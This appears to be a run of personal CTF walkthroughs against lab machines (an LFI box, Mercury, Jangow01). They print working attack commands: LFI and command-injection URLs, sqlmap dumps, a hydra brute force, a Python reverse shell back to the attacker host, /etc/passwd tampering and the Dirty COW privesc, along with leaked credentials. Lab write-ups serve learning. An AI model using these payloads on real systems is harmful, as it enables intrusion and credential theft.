ffuf -c -r -u 'http://192.168.56.120/secret/evil.php?FUZZ=test_value' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 4242

-c colorized output -r  follow redirects (default is set to false) -u Target URL -w Wordlist file path and (optional) keyword separated by colon. eg. ‘/path/to/wordlist:KEYWORD’ -ac Automatically calibrate filtering options (default: false) -fs Filter HTTP response size. Comma separated list of sizes and ranges It spits lot of gibberish. Therefore, we could change the 4242 to 0 to negate the gibberish.  However, it still not giving us any useful information. So all we could do is, let’s try test_value to something like /etc/passwd which we usually use to test whether there is command execution is available. Let’s try this one.
ffuf -c -r -u 'http://192.168.56.120/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 200
It does spit out lot of information. Let’s keep -fs 0 to not to show all output (or show only the thing which we found as GET parameter)
ffuf -c -r -u 'http://192.168.56.120/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 0
Output By the way, this command also does work
ffuf -c -r -u 'http://192.168.56.120/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -ac
  Yippy!! We got the GET parameter. It is command. Let’s try to access the machine through the URL on browser. view-source:http://192.168.56.120/secret/evil.php?command=/etc/passwd The machine has command execution problem. We got a username (mowree; may be we could keep it for sometime, because who knows it could prove useful during later). Since, we are able to view /etc/passwd, let’s browse around and try to get the user flag (user.txt is my guess, let’s see) Sad. It didn’t work. Since from the nmap result we know that the openssh is running on the victim machine. Let’s check whether we get any keys (you know, the default key name for public key is id_rsa.pub and id_rsa is the default private key). P.S. I tried to view what is there in the evil.php using php filter function (which is normally used during the LFI attack). Since there is nothing information, so I didn’t mention it here. view-source:http://192.168.56.120/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
echo "PD9waHAKICAgICRmaWxlbmFtZSA9ICRfR0VUWydjb21tYW5kJ107CiAgICBpbmNsdWRlKCRmaWxlbmFtZSk7Cj8+Cg==" | base64 -d 

<?php
$filename = $_GET['command'];
include($filename);
?>

I also tried to check the bash_history (/home/mowree/.bash_history) view-source:http://192.168.56.120/secret/evil.php?command=/home/mowree/.bash_history Didn’t found anything useful 🙁 Anyway, good news that we got the private key. Download the file:
curl http://192.168.56.120/secret/evil.php?command=/home/mowree/.ssh/id_rsa -o id_rsa


chmod 600 id_rsa
Since, we know the username for the machine is mowree and we got the private key, let’s try whether we can log into the machine through ssh or not.
ssh -i id_rsa mowree@192.168.56.120
We need to extract the password using john the ripper
ssh2john id_rsa > hash

john -w=/usr/share/wordlists/rockyou.txt hash

john --show hash
Let’s try the ssh again. ssh -i id_rsa mowree@192.168.56.120 We got the user flag. user flag: 56Rbp0soobpzWSVzKh9YOvzGLgtPZQ Now we need to enumerate (You could do it manually using some of my favorite onliners. However, here it is raining lightly and as soon it stops I am plan to go the school library. So, my plan is to complete the box before I leave. Oh by the way, I am in our apartment’s private study room. This is my second time to visit and play with boxes. It’s too quite and no people around, feels little eerie you know what I mean 🙂 ) I have uploaded the linpeash.sh from my Kali Linux machine. And I ran the script.
bash linpeash.sh
passwd file is writeable (which means an easy root). Let’s try to change some entries in the /etc/passwd First we need a password for user sam (which we never had created. Initially I thought to create a user on the victim machine but you know all system level commands require sudo privilege which is absent for the current user).
nano /etc/passwd
copy the line of root user (root:x:0:0:root:/root:/bin/bash) and paste it somewhere bottom, for the ease of use. change the root to sam. Next, we need to replace the x (which is placeholder for the password with our new password) By the way, generate the password using the following command.
openssl passwd HackThePlanet!
replace the value ($1$nLNTaLhW$2PHtGQ3xF.ScdoGbq2Lkd0) with the x, in /etc/passwd. use control+x and press Y, to get out of nano and save the changes.
su sam
we are root!! root flag: 36QtXfdJWvdC0VavlPIApUbDlqTsBM It’s close to 8PM now, I am think whether I should goto library now or just call it a day lol Anyway, see you in the next post 🙂    

How I took down Mercury

Overview:

Target Machine IP Address: 192.168.56.119
My Machine IP Address: 192.168.56.117

Mission:

Boot to Root 1. To get root flag 2. To get root access

Description:

"Oh no our webserver got compromised. The attacker used an 0day, so we dont know how he got into the admin panel. Investigate that.

This is an OSCP Prep Box, its based on a CVE I recently found. Its on the OSCP lab machines level."

Level: Easy/Medium 

Easy/Medium (Although it was mentioned easy, if you are not familar with pivoting it could be a medium machine. I have done machine in the past which requires PATH change and other pivoting, however, I felt this machine a medium hard for me :( )

Download:

You can download the machine from here.
************************************ Information Gathering & Scanning Process:
sudo arp-scan --interface=eth1 192.168.56.1/24
Target IP: 192.168.56.119
nmap -sC -sV -p- -Pn 192.168.56.119 -o nmap.log
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 3072 a3:d8:4a:89:a9:25:6d:07:c5:3d:76:28:06:ed:d1:c0 (RSA)
| 256 e7:b2:89:05:54:57:dc:02:f4:8c:3a:7c:55:8b:51:aa (ECDSA)
|_ 256 fd:77:07:2b:4a:16:3a:01:6b:e0:00:0c:0a:36:d8:2f (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_ Supported Methods: POST OPTIONS HEAD GET
| http-robots.txt: 1 disallowed entry 
|_/tiki/
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 5h29m58s
| nbstat: NetBIOS name: UBUNTU, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| UBUNTU<00> Flags: <unique><active>
| UBUNTU<03> Flags: <unique><active>
| UBUNTU<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
1. HTTP (8080/tcp) http://192.168.56.119:8080    
gobuster dir -u http://192.168.56.119:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster8080.log
   
dirsearch -u http://192.168.56.119:8080/ -e .html,.php,.txt,.php.bak,.bak,.zip -w /usr/share/wordlists/dirb/common.txt -f
Usually, gobuster gives me pretty much everything available on the vulnerable box, but this time, it really gave me the feeling that I can’t totally “trust” or depend on a single tool. Therefore, I will be using both the gobuster and dirsearch hence forth (on every machine). By the way, there wasn’t made an entry in the robots.txt by the developer. Let’s try nikto (many might think it is a very old tool, but I must admit, I love this tool because it had saved me a lot of time. Probably you have seen the walkthroughs I have done have used nikto. Yes, if it works, that counts 😉 )
nikto -h 192.168.56.119:8080 > nikto8080.log
Output
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.56.119
+ Target Hostname: 192.168.56.119
+ Target Port: 8080
+ Start Time: 2023-05-16 16:01:34 (GMT-4)
---------------------------------------------------------------------------
+ Server: WSGIServer/0.2 CPython/3.8.2
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /SilverStream: SilverStream allows directory listing. See: https://web.archive.org/web/20011226154728/http://archives.neohapsis.com/archives/sf/pentest/2000-11/0147.html
+ /static/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ 8103 requests: 0 error(s) and 2 item(s) reported on remote host
+ End Time: 2023-05-16 16:02:40 (GMT-4) (66 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
http://192.168.56.119:8080/static/ http://192.168.56.119:8080/SilverStream/ When I visit http://192.168.56.119:8080/mercuryfacts/   I visited both the embedded links and guess what I found? Yes, I increment the id value (each id, provides you different output in your browser) and I found a SQL injection here. By the way, I haven’t practiced my SQL injection skillset for quite some time, so I had to read different articles and cheatsheet to brush my rusted skillset lol This time I am going to rely on SQLMap because I am also preparing for the CEH practical exam. In that exam, SQLMap is allowed.  By the way, I like this cheat sheet, which is short and to the point. (Of course, it was not exhaustive so had to find additional materials to properly supplement the missing part of it. https://medium.com/hacker-toolbelt/sqlmap-cheat-sheet-e5a38300b50).
sqlmap -u http://192.168.56.119:8080/mercuryfacts/
-u  URL The backend is running MySQL. List databases (–dbs)
sqlmap -u http://192.168.56.119:8080/mercuryfacts/ --dbms=mysql --dbs
  We got the database name and the database name is mercury. List the tables of the database mercury
sqlmap -u http://192.168.56.119:8080/mercuryfacts/ --dbms=mysql -D mercury --tables
-D database to enumerate –tables enumerate DBMS database tables There are two tables.  facts and users. Let’s check the table attributes (based on that we could get some information before dumping the table) Table Name: facts
sqlmap -u http://192.168.56.119:8080/mercuryfacts/ --dbms=mysql -D mercury -T facts --columns
-T Tables to enumerate –columns Enumerate table columns Table Name: users
sqlmap -u http://192.168.56.119:8080/mercuryfacts/ --dbms=mysql -D mercury -T users --columns
We can see that there is username and password, which looks really alluring. Let’s dump the user table. Dump tables from the database.
sqlmap -u http://192.168.56.119:8080/mercuryfacts/ --dbms=mysql -D mercury -T users -dump
Database: mercury
Table: users
[4 entries]
+----+-------------------------------+-----------+
| id | password                      | username |
+----+-------------------------------+-----------+
| 1 | johnny1987                    | john |
| 2 | lovemykids111                 | laura |
| 3 | lovemybeer111                 | sam |
| 4 | mercuryisthesizeof0.056Earths | webmaster |
+----+-------------------------------+-----------+
Since we know through the NMap scan result that the machine is running SSH, therefore, there is a high chance that either one or more credentials could get us into the machine (or maybe none). We could do it manually however, I am going to use the Hydra for this.  Here is the one-liner, if you are interested to know.
hydra -L user.txt -P pass.txt 192.168.56.119 ssh
Ok, so the username is webmaster and the password is mercuryisthesizeof0.056Earths to access SSH I was able to SSH to the machine and I quickly checked whether the webmaster is a sudoer. But no luck 🙁 Anyway, let’s not get too excited. First thing first. Get the user flag and then check all the users (/etc/passwd). And also check whether anything suspicious things lingering. If not, this time I am going to use linpeas.sh (Haven’t used it for quite some time) User Flag: [user_flag_8339915c9a454657bd60ee58776f4ccd] There is a note.txt inside the mercury_proj and, the note contains credentials for the user webmaster and linuxmaster  (if you check the screenshot, it will make more clear what I mean, because I am a visual person and I think you might be like me and prefer to watch some videos to grasp the concept then some jargons lol)   Yes, I have decoded the base64 encoded credentials. Anyway, let’s try to switch the user (su linuxmaster) to Linux master.  And check whether it is a sudoer (or it is any special privileges). If we don’t get anything, then we shall try the Linux kernel version or enumerate whether any binary is enabled with SUID privilege or if there any cron jobs were enabled, etc. (These kinds of things were popping into my mind when I bump into the block. By the way, I get these kinds of feelings or logics through popping more boxes. ) Yes, our guess was right. linuxmaster can run the check_syslog.sh with sudo privilege. However, it was sad to know that it was not as easy as I thought. I had to read a lot. However, this link has discussed the linux privilege escalation through path variables quite well.  By the way, I must admit that it really took a toll on me to escalate the privilege because I know the logic nevertheless, I am not able to deliver it.  I ended up reading another walkthrough. (Little uneasiness was there however, I told myself I will make a good note and will repeat this machine again sometime later to evaluate whether I got it or not). Yes, the source of uneasiness is not totally because of ego but it was so simple 🙁  Anyway, it is raining at outside.  I am going to shoot 2 CV for a post of internship. I am going to try to find an internship till the end of May. If I don’t get it, then I am not gonna waste my time rather, use the time to take down more boxes (to skill-up myself). That’s all for today 🙂 Have a good one! Here is the Root Flag:

Let’s take down JANGOW 01

Overview:

Target Machine IP Address: 192.168.56.118
My Kali Machine IP Address: 192.168.56.117

Mission:

Boot to Root

1. To get user flag
2. To get root flag
3. To get root access

Level: Easy/Medium 

Easy

Download:

You can download the machine from here.

************************************

Information Gathering & Scanning Process:

Since the machine is spitting out the IP address, so I don’t have to sweep the entire network. So, let’s directly do the Nmap scan.

nmap -sC -sV -p- 192.168.56.118 -o nmap.log

– sC is helping you to load the default nmap script as Nmap has lot of great scripts which you could leverage later on. It’s more like a plugin if I am not wrong.

– sV This flag will help us to get what the services running on the target machine and its version (because most of the time, the machine runs services running older versions of the software which we could easily leverage)

-p- this flag and -p 1-65535 carry the same meaning, which means scan and check all the ports (it could slow your scanning significantly).

-o save the scanned result in an output file.

 

# Nmap 7.93 scan initiated Fri May 12 14:59:20 2023 as: nmap -sC -sV -p- -o nmap.log 192.168.56.118
Nmap scan report for 192.168.56.118
Host is up (0.00099s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2021-06-10 18:05 site/
|_
|_http-title: Index of /
Service Info: Host: 127.0.0.1; OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 12 15:01:15 2023 -- 1 IP address (1 host up) scanned in 115.06 seconds

Since we know it is running an Apache webserver on the machine. We can visit the IP address.

When I visit the site, it does load a website. Then, what I did was like how I used to do; visit all the links and check all the output I get. Besides, it become my second nature to press control+u on Firefox to view the source code, because based on the machines I did in the past and walkthrough of CTFs I read, many a time, a lot of clues keep hiding in the source code. However, I was not lucky, until I saw this.

I must admit that I have no concrete logic rather this URL looks very familiar because I did a couple of machines that were vulnerable to command execution, and many of them have the same URL pattern, so I typed my favorite Linux command ls .  Guess what I got?

Let’s try whether we could get the WordPress credentials (since the machine is vulnerable to command execution, we could do a lot of things through the URL).

http://192.168.56.118/site/busque.php?buscar=cd%20wordpress;%20ls

It lists all the files and folders within the WordPress.

We could see that there is a file called config.php. (Based on the naming convention,  it looks like the developer has customized the file structures and naming of it. Anyway, let’s not bother of these for the time being)

http://192.168.56.118/site/busque.php?buscar=cd%20wordpress;%20cat%20config.php

Visiting this link gave us a white empty page. We have to view the source code. (I learned this tip from another machine that I did in the past).
Yes, we got the credential of the WordPress website.

Database = "desafio02";
Username = "desafio02";
Password = "abygurl69";

With the help of the Nmap result, we know that port 21 is open on the machine. Since port 21 is dedicated to FTP service, let’s try to log into the machine with the credential we got.  It didn’t work 🙁

We can use the command execution to get the username (remember the /etc/password ?).  If it doesn’t work, then I have to leave it here and try another approach. (finger crossed)

Visit this link:
view-source:http://192.168.56.118/site/busque.php?buscar=cat%20/etc/passwd

Protocol: FTP
username: jangow01
password: abygurl69

Yes, the FTP login was successful!

I must admit that I am not comfortable working with FTP. So, I can’t think of anything to privilege escalate through the FTP and get myself a shell. I would rather do that through the URL, you know the reverse connection 😉

Since the machine is running Linux OS and WordPress, so there is a chance that we could spawn a reverse shell using some bash onliner or PHP, but my favorite is Python. So, let’s try to check whether the python is installed on the machine or not.

Yes, the machine is running python3.  Let’s do the shopping 😉

Although there are many good sites where we can get the reverse shell scripts, my favorite one is https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

This is the script we are going to use.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.117",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

You might think why I am using the port 443. To be honest, I don’t have the answer to it. I tried 1234, 8080, and many more. However, I did one machine similar to this in the past where only the Apache server was running. So by default, Apache has both ports 80,443 running, and since the website is running on 80, why not we try 443 and, do a piggyback our reverse shell on this port?

run this on kali (I hope you know that following line of code is trying to open a netcat program and listening or waiting a connection on port 443)

nc -lvp 443

On Vulnerable Machine, we have to paste the reverse shell or simple copy the following URL (don’t forget to update the IP address), in the brower to get the reverse connection.

To make the shell interactive, I usually use this line of python script (you can change based on the python version available on the vulnerable machine)

python3 -c "import pty;pty.spawn('/bin/bash')";

Then switch the user to the user which we got from the FTP assessment.

username: jangow01
password: abygurl69
su jangow01

I quickly checked whether the user is in the sudoer. It spits some message, I didn’t waste my time to understand because based on the error, I can make it out that it does mean the current user is not a sudo user.  (Because it is pretty late and after pwning this machine, I am going to sleep as I have a couple more plans for tomorrow).

I checked the kernel version and other details. I was lucky that it is vulnerable and could give a privilege escalation. (dirty cow is something quite easy to implement but to build an exploit for it from scratch is quite a feat and I wish to learn it someday soon).

I copied the exploit from searchspoit (technically it is called mirror but you can think of it as copy)

Then I set up a local Python server so that I could download the exploit from Kali Linux to the vulnerable machine using either wget or curl, like it is shown in the screenshot.

The ping is blocked on the vulnerable machine, so it gives me a feeling that it has some kind of firewall or protection was placed. However, we don’t have to worry because we can make use of the FTP.  I am not fluent with complex commands of the FTP but downloading and uploading files using the FTP is kind of a piece of cake to me 😉

Because of Linux permission, let’s put or upload the exploit to the user’s home folder (1, 2).

Move the exploit to /tmp folder because /tmp has the highest privilege or should I say access level. (3)

It’s important to check how to compile the exploit (5,6) and check whether the compiler is available or not (4).

Compile the exploit and run it (7,8)

We got the root! (9)

user flag:

root flag:

 

## Removed the following step and other steps which I ran into the rabbit holes lol 🙂

Since it is running a webserver, I thought there could be files or folders so I ran my favorite tool, gobuster. Nevertheless, I couldn’t find anything within the ip par se. Therefore, our next best bet it to scan the ip/site .

gobuster dir -u http://192.168.56.118/site/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster_site.log

-dir Uses directory/file enumeration mode
-u hyper link
-w path to the wordlist
-o Output file to write results to (defaults to stdout)

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